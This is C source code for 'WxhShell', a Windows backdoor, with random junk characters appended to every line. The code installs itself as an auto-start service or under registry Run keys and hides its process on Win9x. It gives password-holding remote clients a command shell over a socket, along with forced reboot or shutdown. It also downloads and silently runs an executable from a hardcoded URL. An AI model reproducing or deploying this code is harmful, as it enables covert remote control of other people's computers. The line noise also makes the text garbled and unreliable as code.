  // 关机 x-3\Ls[I  
  case 'd': { <2qr}K{'A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,zY$8y]  
    if(Boot(SHUTDOWN)) :9 ^* ^T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @F*%9LPv  
    else { q5:N2Jmo?z  
    closesocket(wsh); pyvSwD5t  
    ExitThread(0); %84rL?S  
    } h.t-`k7  
    break; D}/vLw:v  
    } a:6m7U)P#5  
  // 获取shell Tnm.A?  
  case 's': { M =r)I~  
    CmdShell(wsh); 5XB H$&Td  
    closesocket(wsh); V "h +L7T  
    ExitThread(0); @;RXLq/8  
    break; CeC6hGR5  
  } [ibu/ W$  
  // 退出 vRO _Q?  
  case 'x': { wAW5 Z0D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d>C$+v>  
    CloseIt(wsh); 'b{]:Y  
    break; `W*U4?M  
    } _5N]B|cO  
  // 离开 N ?"]  
  case 'q': { @sC`!Rmy'-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  kPLxEwl  
    closesocket(wsh); W6/yn  
    WSACleanup(); D >tR-  
    exit(1); Y0 -n\|  
    break; @I!0-OjL  
        } LSr]S79N1  
  } ~R92cH>L  
  } ?.;c$'  
e**qF=HCw  
  // 提示信息 [HZv8HU|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6,{$J  
} 0KOgw*>_  
  } ,DkNLE  
6~w@PRy  
  return; N//K Ph  
} ,nDaqQ-C!!  
y_lU=(%Jd  
// shell模块句柄 r<^HmpUJ  
int CmdShell(SOCKET sock) B_m8{44zM  
{ >I&5j/&}+  
STARTUPINFO si; 81Z) eO#  
ZeroMemory(&si,sizeof(si)); ^$hH1H+V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pcWPH.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v^ V itLC  
PROCESS_INFORMATION ProcessInfo; :G%61x&=Zc  
char cmdline[]="cmd"; $ gS>FJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @2 fg~2M1  
  return 0; E09 :E  
} iAIuxO  
| h#u^v3  
// 自身启动模式 W|63Ir67  
int StartFromService(void) 7E~;xn;  
{ fS78>*K  
typedef struct Z}Ft:7   
{ W v+?TEP  
  DWORD ExitStatus; )|=j`jCC  
  DWORD PebBaseAddress; ]-/VHh  
  DWORD AffinityMask; ?2Py_gkf  
  DWORD BasePriority; wEvVL  
  ULONG UniqueProcessId; P me^l%M  
  ULONG InheritedFromUniqueProcessId; b B3powy9  
}   PROCESS_BASIC_INFORMATION; UrEs4R1#  
+ @s"zp;F  
PROCNTQSIP NtQueryInformationProcess; O[JL+g4  
6G""I]uT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7! INkH]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5taT5?n2  
{[?(9u7R  
  HANDLE             hProcess; 1NA.nw.  
  PROCESS_BASIC_INFORMATION pbi; J]pir4&j  
N U`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i6Emhji  
  if(NULL == hInst ) return 0; CdjI`  
lchPpm9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m`^q <sj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A*547=M/(j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4)urU7[ &)  
={@6{-tl  
  if (!NtQueryInformationProcess) return 0; D7Q$R:6|  
> jc [nk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]K,Tnyp  
  if(!hProcess) return 0; K F!Yf\  
Od,qbU4O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fSvM(3Y<Qh  
Uf;^%*P4  
  CloseHandle(hProcess); R)s:rJQ=p  
,S]7 'UP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jLHkOk5{:  
if(hProcess==NULL) return 0; Sk\K4  
:emiQ  
HMODULE hMod; Iom'Y@x  
char procName[255]; 5f K_Aq{  
unsigned long cbNeeded; nazZ*lC  
Gm^U;u}=f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EaY?aAuS:  
kzUIZ/+ZL,  
  CloseHandle(hProcess); ^'{Fh"5  
8\A#CQ5b  
if(strstr(procName,"services")) return 1; // 以服务启动 HJ[cM6$2  
O:{~urV  
  return 0; // 注册表启动 1JG'%8}#8  
} L2i_X@/  
Pw`8Wj  
// 主模块 wIaony  
int StartWxhshell(LPSTR lpCmdLine) ?Z[[2\DR  
{ j[J-f@F \Y  
  SOCKET wsl; E,x+JeKV  
BOOL val=TRUE; 0gP}zM73  
  int port=0; X[BIA+6  
  struct sockaddr_in door;  B Qxs~  
ag;pN*z  
  if(wscfg.ws_autoins) Install(); tGE$z]1c@  
g(7rTyp4)  
port=atoi(lpCmdLine); ?ri?GmI|  
9Uekvs=r=M  
if(port<=0) port=wscfg.ws_port; 2*l/3VW  
bUdLs.:  
  WSADATA data; Q1I6$8:7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]dmrkZz:  
&d?CCb$|0Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }?_?V&K|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qv KG-|j  
  door.sin_family = AF_INET; z3m85F%dR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u?<%q!  
  door.sin_port = htons(port); |a`Sc %  
u$Jz~:=,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6@F9G 4<Z  
closesocket(wsl); sW'AjI  
return 1; `V)8 QRN(  
} +`3)oPV)  
' ;FnIZ  
  if(listen(wsl,2) == INVALID_SOCKET) { |tMWCA  
closesocket(wsl); E`usknf>l  
return 1; Hc$O{]sq  
} a;qryUyG  
  Wxhshell(wsl); =M [bnq*\  
  WSACleanup(); PQSP&  
jTtu0Q|  
return 0; .*S#aq4S  
b;W3j   
} &4x}ppX  
0#s"e}@v  
// 以NT服务方式启动 )|R)Q6UJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t[;LD_  
{ 5o'FS{6U  
DWORD   status = 0; U!?_W=?  
  DWORD   specificError = 0xfffffff; dI@(<R  
{14fA)`%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qJa H ,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; { VfXsI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r|fL&dtr  
  serviceStatus.dwWin32ExitCode     = 0; Zd}9O jz5  
  serviceStatus.dwServiceSpecificExitCode = 0; m_?~OL S  
  serviceStatus.dwCheckPoint       = 0; D4lG[qb  
  serviceStatus.dwWaitHint       = 0; 0oZ= yh  
O1U=X:Zl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oAJM]%g{  
  if (hServiceStatusHandle==0) return; [" )o.(  
uLL]A>vR  
status = GetLastError();  +yH7v5W  
  if (status!=NO_ERROR) z2_*%S@  
{ "ESwA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ky!Y"   
    serviceStatus.dwCheckPoint       = 0; c%2QZC  
    serviceStatus.dwWaitHint       = 0; ~Z?TFg  
    serviceStatus.dwWin32ExitCode     = status; Xq]w<$  
    serviceStatus.dwServiceSpecificExitCode = specificError; Fa Qe_;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [P=Jw:E  
    return; ~hnQUS`A  
  } ll<Xz((o  
oim9<_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t?x<g<PJ4  
  serviceStatus.dwCheckPoint       = 0; wOEj)fp .  
  serviceStatus.dwWaitHint       = 0; ,c$_t+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j_!F*yul  
} fF$<7O)+]  
L_uVL#To  
// 处理NT服务事件,比如:启动、停止 5j<mbt}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :uq\+(9  
{ ,]ma+(|  
switch(fdwControl) tqvN0vY5  
{ a}BYov  
case SERVICE_CONTROL_STOP: 6ryak!|[  
  serviceStatus.dwWin32ExitCode = 0; u~M q*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Pw7]r<Q  
  serviceStatus.dwCheckPoint   = 0; .9on@S  
  serviceStatus.dwWaitHint     = 0; J!v3i*j\  
  { F3v !AvA|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B:;pvW]  
  } 8>2.UrC  
  return; ( iBl   
case SERVICE_CONTROL_PAUSE:  3s,g*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7a =gH2]&  
  break; ?cBwPetp  
case SERVICE_CONTROL_CONTINUE: DnMwUykF>0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; av}k)ZT_  
  break; < Mn ;  
case SERVICE_CONTROL_INTERROGATE: SO|NaqWa  
  break; QuF:p  
}; !N\@'F!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '8RsN-w  
} zUkgG61  
dUeN*Nq&(,  
// 标准应用程序主函数 55nlg>j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R[h9"0Y^  
{ g|DF[  
N=T<_`$5  
// 获取操作系统版本 U3ADsdn  
OsIsNt=GetOsVer(); Cx(>RXVoJ,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fh?gNSWq6  
??-[eB.  
  // 从命令行安装 W+aP}rZm:  
  if(strpbrk(lpCmdLine,"iI")) Install(); 67JA=,EE  
1b `1{%  
  // 下载执行文件 ~drS} V  
if(wscfg.ws_downexe) { zH?!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jH5 k  
  WinExec(wscfg.ws_filenam,SW_HIDE); l[mWf  
} Gv!2f  
6"L cJ%o  
if(!OsIsNt) { U2tV4_ e  
// 如果时win9x,隐藏进程并且设置为注册表启动 &Cq`Y !y  
HideProc(); 75cW_t,g  
StartWxhshell(lpCmdLine); )0.kv2o.  
} T6y\|  
else 'Vzp2  
  if(StartFromService()) ]}<}lI9  
  // 以服务方式启动 fIx+IL s  
  StartServiceCtrlDispatcher(DispatchTable); 4x=v?g&  
else zsEc(  
  // 普通方式启动 9|^2",V  
  StartWxhshell(lpCmdLine); BM%e0n7  
APn|\  
return 0; m)ky*"(  
} . oF &Ff/[  
XV7Ex\D*  
#px+;k 5  
VZp5)-!\  
=========================================== !_]Y~[  
O@T9x$  
[N-Di"  
@ wGPqg  
SB;&GHq"n  
G, }Yl  
" Avge eJi  
O W_{$9U  
#include <stdio.h> IA fc T!{  
#include <string.h> vONasD9At  
#include <windows.h> .wEd"A&j  
#include <winsock2.h> *<$*"p  
#include <winsvc.h> ttaM.  
#include <urlmon.h> aq>kTaz  
& TCkpS  
#pragma comment (lib, "Ws2_32.lib") zq 3\}9  
#pragma comment (lib, "urlmon.lib") }kw#7m54  
B+|Kjlt  
#define MAX_USER   100 // 最大客户端连接数 GL>O4S<`  
#define BUF_SOCK   200 // sock buffer afCW(zH p  
#define KEY_BUFF   255 // 输入 buffer yJ[0WY8<kC  
QGMV}y  
#define REBOOT     0   // 重启 G*?8MTP8![  
#define SHUTDOWN   1   // 关机 a(m2n.0'>  
e[{0)y>=  
#define DEF_PORT   5000 // 监听端口 fF!Yp iI"  
h/QXPdV  
#define REG_LEN     16   // 注册表键长度 NJ%P/\ C  
#define SVC_LEN     80   // NT服务名长度 +C^nO=[E  
_>o:R$ %}  
// 从dll定义API w1F cB$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {X!r8i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =}<IfNA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3<e=g)F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yj<a" Gr4[  
k90YV(  
// wxhshell配置信息 iOf<$f  
struct WSCFG { $H2u.U<ip  
  int ws_port;         // 监听端口 *l(7D(#  
  char ws_passstr[REG_LEN]; // 口令 Oz75V|D  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7zl5yK N  
  char ws_regname[REG_LEN]; // 注册表键名 D5gFXEeh  
  char ws_svcname[REG_LEN]; // 服务名 s-NX o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F;Spi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `_6C {<O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H-!,yte  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8 v6(qBK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6lZ3tdyNo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v1#otrf  
(fhb0i-  
}; h,(26 y/s  
CmWeY$Jb  
// default Wxhshell configuration j}#w )M  
struct WSCFG wscfg={DEF_PORT, [DYQ"A= )d  
    "xuhuanlingzhe", Ex.yU{|c  
    1, XMCXQs&  
    "Wxhshell", SjK  
    "Wxhshell", ,Y@Gyx!4  
            "WxhShell Service", 4XL^D~V  
    "Wrsky Windows CmdShell Service", K$z2YJ%  
    "Please Input Your Password: ",  }t!Gey  
  1, j\ZXG=j  
  "http://www.wrsky.com/wxhshell.exe", b3P+H r  
  "Wxhshell.exe" \Zb;'eDv  
    }; !@5 9)  
x o;QCOH  
// 消息定义模块 iR HQ:Y!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b;L\EB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~kV/!=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H[T?\Lq  
char *msg_ws_ext="\n\rExit."; d.aS{;pse  
char *msg_ws_end="\n\rQuit."; \wmN  
char *msg_ws_boot="\n\rReboot..."; 0RzEY!9g+  
char *msg_ws_poff="\n\rShutdown..."; JT~4mT  
char *msg_ws_down="\n\rSave to "; pP1|&`}ux  
,S\CC{!  
char *msg_ws_err="\n\rErr!"; S0$8@"~=  
char *msg_ws_ok="\n\rOK!"; y1z4ik)Sd@  
hy9\57_#  
char ExeFile[MAX_PATH]; 1l9 G[o *  
int nUser = 0; Oz.HH  
HANDLE handles[MAX_USER]; UklUw  
int OsIsNt; _OYasJUMG  
l#&8x  
SERVICE_STATUS       serviceStatus; j<upRS,$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v6|RJt?  
g%o(+d  
// 函数声明 OU E (I3_  
int Install(void); 2y75  
int Uninstall(void); NCveSP  
int DownloadFile(char *sURL, SOCKET wsh); )',R[|<  
int Boot(int flag); -+-?w|}qV  
void HideProc(void); YH$-g  
int GetOsVer(void); 53_Hl]#qZ  
int Wxhshell(SOCKET wsl); 7K12 G!)  
void TalkWithClient(void *cs); \Zk;ikEY  
int CmdShell(SOCKET sock); cUk7i`M;6  
int StartFromService(void); `Uq#W+r,  
int StartWxhshell(LPSTR lpCmdLine); vN}#Kc\  
b\f O8{k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #x@$ lc=k3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oueC  
7Y lchmd  
// 数据结构和表定义 4>YR{  
SERVICE_TABLE_ENTRY DispatchTable[] = cs48*+m  
{ <(#(hDwy  
{wscfg.ws_svcname, NTServiceMain}, 0J*??g-n  
{NULL, NULL} *YI98  
}; yHYsZ,GE  
. P viA  
// 自我安装 I]|Pq  
int Install(void) oE @a'*.\  
{ +SzU  
  char svExeFile[MAX_PATH]; RIR\']WN  
  HKEY key; x%=si[P  
  strcpy(svExeFile,ExeFile); a9e>iU  
{'flJ5]  
// 如果是win9x系统,修改注册表设为自启动 4X/-4'  
if(!OsIsNt) { 3=#<X-);  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E#RDqL*J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xH4m|  
  RegCloseKey(key);  y`iBFC;_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q~Hn -5H4Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gE'sO T9v  
  RegCloseKey(key); 8qoMo7-f  
  return 0; ,O5NLg-  
    } ~i= _J3'  
  } I@\lN&HC  
} B^=-Z8  
else { AD> e?u  
@ )F)S 7  
// 如果是NT以上系统,安装为系统服务 &$BjV{,/zc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1NFsb-<u  
if (schSCManager!=0) `?H]h"{7Q  
{ -]Bq|qTH[(  
  SC_HANDLE schService = CreateService >tS'Q`R  
  ( =HK!(C  
  schSCManager, J`Q>3] wL  
  wscfg.ws_svcname, $GV7o{"&  
  wscfg.ws_svcdisp, 3m[vXr?  
  SERVICE_ALL_ACCESS, PN%zIkbo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^S<Y>Nm]  
  SERVICE_AUTO_START, Y>z>11yEB0  
  SERVICE_ERROR_NORMAL, DPY}?dC  
  svExeFile, YRk(u7:0  
  NULL, D>r&}6<  
  NULL, &A/]pi-\  
  NULL, .Z`R^2MU  
  NULL, >~rTqtKd  
  NULL O^PKn_OJ  
  ); ?5__oT  
  if (schService!=0) t^-d/yKt0w  
  { R+:yVi[F]U  
  CloseServiceHandle(schService); _%Bi: HG0  
  CloseServiceHandle(schSCManager); =[ 46`-_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m,28u3@r  
  strcat(svExeFile,wscfg.ws_svcname); cU (D{~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _RYxD"m y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;LfXi 8)  
  RegCloseKey(key); T.F!+  
  return 0; hW' )Sp  
    } "9uKtQS0o  
  } 3yme1Mb  
  CloseServiceHandle(schSCManager); yF:1( 4  
} 0 JS?;fk  
} Tb}4wLu  
Rh2+=N<X  
return 1; OKZV{Gja  
} PNhe  
A|[?#S((]  
// 自我卸载 @u+]aI!`-  
int Uninstall(void) eeg)N1\  
{ fb7;|LF  
  HKEY key; G>_*djUf  
]#<4vl\  
if(!OsIsNt) { lBE= (A`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  7Die FZ?  
  RegDeleteValue(key,wscfg.ws_regname); eIF5ZPSZi  
  RegCloseKey(key); ?,Xw[pR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { je-!4r,  
  RegDeleteValue(key,wscfg.ws_regname); 5pG}Yk_(x  
  RegCloseKey(key); tFn)aa~L  
  return 0; n80?N}  
  } JG. y,<xW  
} g axsv[W>^  
} +^ac'Y)A  
else { q_8+HEvo  
A  'be8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @s&71a  
if (schSCManager!=0) Q}JOU  
{ BVQqY$>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |i*37r6]=  
  if (schService!=0) yzn%<H~  
  { G Vr1`l  
  if(DeleteService(schService)!=0) { TqQB@-!  
  CloseServiceHandle(schService); #MkTkm&r  
  CloseServiceHandle(schSCManager); N% B>M7-=  
  return 0; wu6;.xTLl  
  } 8rGgF]F  
  CloseServiceHandle(schService); g-k|>-h  
  } wm@@$  
  CloseServiceHandle(schSCManager); j_[tu!~  
} h*a(_11  
} ",t?8465y  
**0~K";\  
return 1; sdrfsrNvB-  
} X`/k)N>l  
3*bU6$|5FP  
// 从指定url下载文件 qZh/IW  
int DownloadFile(char *sURL, SOCKET wsh) =*.~BG  
{ b_krk\e@S  
  HRESULT hr; aKDKmHd  
char seps[]= "/"; ;1=1:S8  
char *token; pF>i-i  
char *file; }&D WaO]J7  
char myURL[MAX_PATH]; {WS;dX4  
char myFILE[MAX_PATH]; klYX7?  
rXq.DvQ  
strcpy(myURL,sURL); c#]4awHU  
  token=strtok(myURL,seps); E=Bf1/c\  
  while(token!=NULL) RC"MdcD:]y  
  { ttQGoUkj  
    file=token; fbvL7* (  
  token=strtok(NULL,seps); ~=LE0.3[  
  } A\DCW  
S@tLCqV4  
GetCurrentDirectory(MAX_PATH,myFILE); ^ +\dz  
strcat(myFILE, "\\"); #%2rP'He  
strcat(myFILE, file); W*:.Gxv]  
  send(wsh,myFILE,strlen(myFILE),0); 6_;icpN]  
send(wsh,"...",3,0); MchA{p&Ol  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {Mk6T1Bkq  
  if(hr==S_OK) `(;m?<%  
return 0; a-tmq]]E  
else |-ALklXr  
return 1; QIEJ6`  
W@IQ^ }E  
} ,qwuLBW  
ue"~9JK.  
// 系统电源模块 9=tIz  
int Boot(int flag) d-ko ^Y0  
{ j;r-NCBnz  
  HANDLE hToken; {Xy5pfW Q  
  TOKEN_PRIVILEGES tkp; 4_lrg|X1  
>'$Mp<  
  if(OsIsNt) { Y@iS_lR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .Hm>i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >:!5*E5?  
    tkp.PrivilegeCount = 1; /nsX]V6i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pki%vRY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r5/0u(\LB  
if(flag==REBOOT) { T>Z<]s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0mVNQxHI  
  return 0; |r/"  |`  
} gJ{)-\  
else { Fo_sgv8O<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H?Wya.7  
  return 0; gQuw1  
} [|L<_.8  
  } B6 ;|f'e!  
  else { 0+ '&`Q!u  
if(flag==REBOOT) { j (d~aqW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "k@/ 3  
  return 0; \)[j_^  
} & .j&0WE  
else { ^ytrK Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JbbzV>  
  return 0; ,0sm  
} qDIZJ h  
} U)gH}0n&  
=WATyY:s  
return 1; _VN?#J)o  
} 3"i-o$P  
]6` %  
// win9x进程隐藏模块 ObS3 M  
void HideProc(void) !.gIHY  
{ p l0\2e)  
'H!Uh]!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BU_nh+dF  
  if ( hKernel != NULL ) AT3Mlz~7#  
  { tNI^@xdim1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  8nJpp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dn3y\  
    FreeLibrary(hKernel); m(!FHPvN  
  } Fxz"DZY6  
xp{tw$  
return; [q -h|m  
} eym4=k ~  
" 8MF_Gu):  
// 获取操作系统版本 7$=In K  
int GetOsVer(void) 0S~rgq|O  
{ ?`ZU R& 20  
  OSVERSIONINFO winfo; =,8]nwgo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HV|,}Wks6s  
  GetVersionEx(&winfo); r19 pZAc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Otuf] B^s  
  return 1; S\=Nn7"  
  else H <l7ZS:  
  return 0; a=2%4Wmz  
} ##*3bDf$-5  
R 9\*#c  
// 客户端句柄模块 3pKQ$\u  
int Wxhshell(SOCKET wsl) 6_Y,eL]"  
{ D,feF9  
  SOCKET wsh; ?tbrbkx  
  struct sockaddr_in client; wHy!CP%  
  DWORD myID; ICQKP1WFp  
i/4>2y9/F4  
  while(nUser<MAX_USER) tD)J*]G  
{ '=pU^Oz<}  
  int nSize=sizeof(client); i_%_x*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !|(NgzDP/  
  if(wsh==INVALID_SOCKET) return 1; N6:`/f+A>T  
1+s;FJ2}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sgFEK[w.y  
if(handles[nUser]==0) k,*XG$2h  
  closesocket(wsh); *2l7f`K  
else !Vk^TFt`  
  nUser++; WsB?C&>x  
  } 7[)E>XRE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4WB0Pt{  
ktIFI`@ w)  
  return 0; UK!(G  
} n[rCQdM&U"  
$UwCMPs X  
// 关闭 socket ]f_p 8?j"  
void CloseIt(SOCKET wsh) bt?5*ETA  
{ ~xFkU#  
closesocket(wsh); z{QqY.Gu{G  
nUser--; W=?<<dVYD  
ExitThread(0); ? J0y|  
} z24q3 3O  
2?Vd5xkt  
// 客户端请求句柄 'g\4O3&_  
void TalkWithClient(void *cs) L4W5EO$  
{ R|(a@sL  
;$4\e)AB  
  SOCKET wsh=(SOCKET)cs;  RRJ%:5&  
  char pwd[SVC_LEN]; 1% `Rs  
  char cmd[KEY_BUFF]; e0 ecD3  
char chr[1]; 5 qA'  
int i,j; |G<|F`Cj  
ccxNbU  
  while (nUser < MAX_USER) { 0y\Z9+G:  
i%?*@uj  
if(wscfg.ws_passstr) { * ;FdD{+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }GM'.yutX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (ZlU^Gw#UB  
  //ZeroMemory(pwd,KEY_BUFF); z1a7*)8P  
      i=0; -9?]IIVb  
  while(i<SVC_LEN) { QT}tvm@PMq  
omx=  
  // 设置超时 Mtx4'WZ  
  fd_set FdRead; ~W/z96' 5  
  struct timeval TimeOut; V7/Rby Q  
  FD_ZERO(&FdRead); h";L  
  FD_SET(wsh,&FdRead); gX@aG9  
  TimeOut.tv_sec=8; DlJo^|5  
  TimeOut.tv_usec=0; * T1_;4i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {!`6zBsP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HzJz+ x:  
]?4hyN   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8@R|Km5h  
  pwd=chr[0]; Fr-SvsNFB  
  if(chr[0]==0xd || chr[0]==0xa) { 7tp36TE  
  pwd=0; 3so %gvY.'  
  break; l]SX@zTb  
  }  ='jT~ \  
  i++; WIGi51yC.x  
    } r JB}qYD  
Z_NCD`i;  
  // 如果是非法用户,关闭 socket =_^X3z0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); * y,v}-  
} ar,7S&s H  
\U_@S.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LP=)~K<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n6 v6K1  
x)&\z}  
while(1) { ;.C\Ss<>*  
j8gdlIx  
  ZeroMemory(cmd,KEY_BUFF); zuCSj~  
K sCyFp  
      // 自动支持客户端 telnet标准   :!QAC@  
  j=0; L/[K"  
  while(j<KEY_BUFF) { V]^$S"Tv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jEwIn1  
  cmd[j]=chr[0]; cwL_tq  
  if(chr[0]==0xa || chr[0]==0xd) { 2mU.7!g)  
  cmd[j]=0; xSu >  
  break; F0# 'WfM#  
  } *zLMpL_  
  j++; AQ Ojit6p  
    } qQa}wcU'9p  
Ys7]B9/1O  
  // 下载文件 y{Q {'De  
  if(strstr(cmd,"http://")) { I1J-)R+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AZ<= o  
  if(DownloadFile(cmd,wsh)) ^zr`;cJ+c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dr"1s-D4IQ  
  else f QFk+C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <3 uNl  
  } 1;iUWU1@  
  else { ry]l.@o;  
W*G<X.Hf  
    switch(cmd[0]) { QGz|*]  
  ?]5qr?W%  
  // 帮助 OrW  
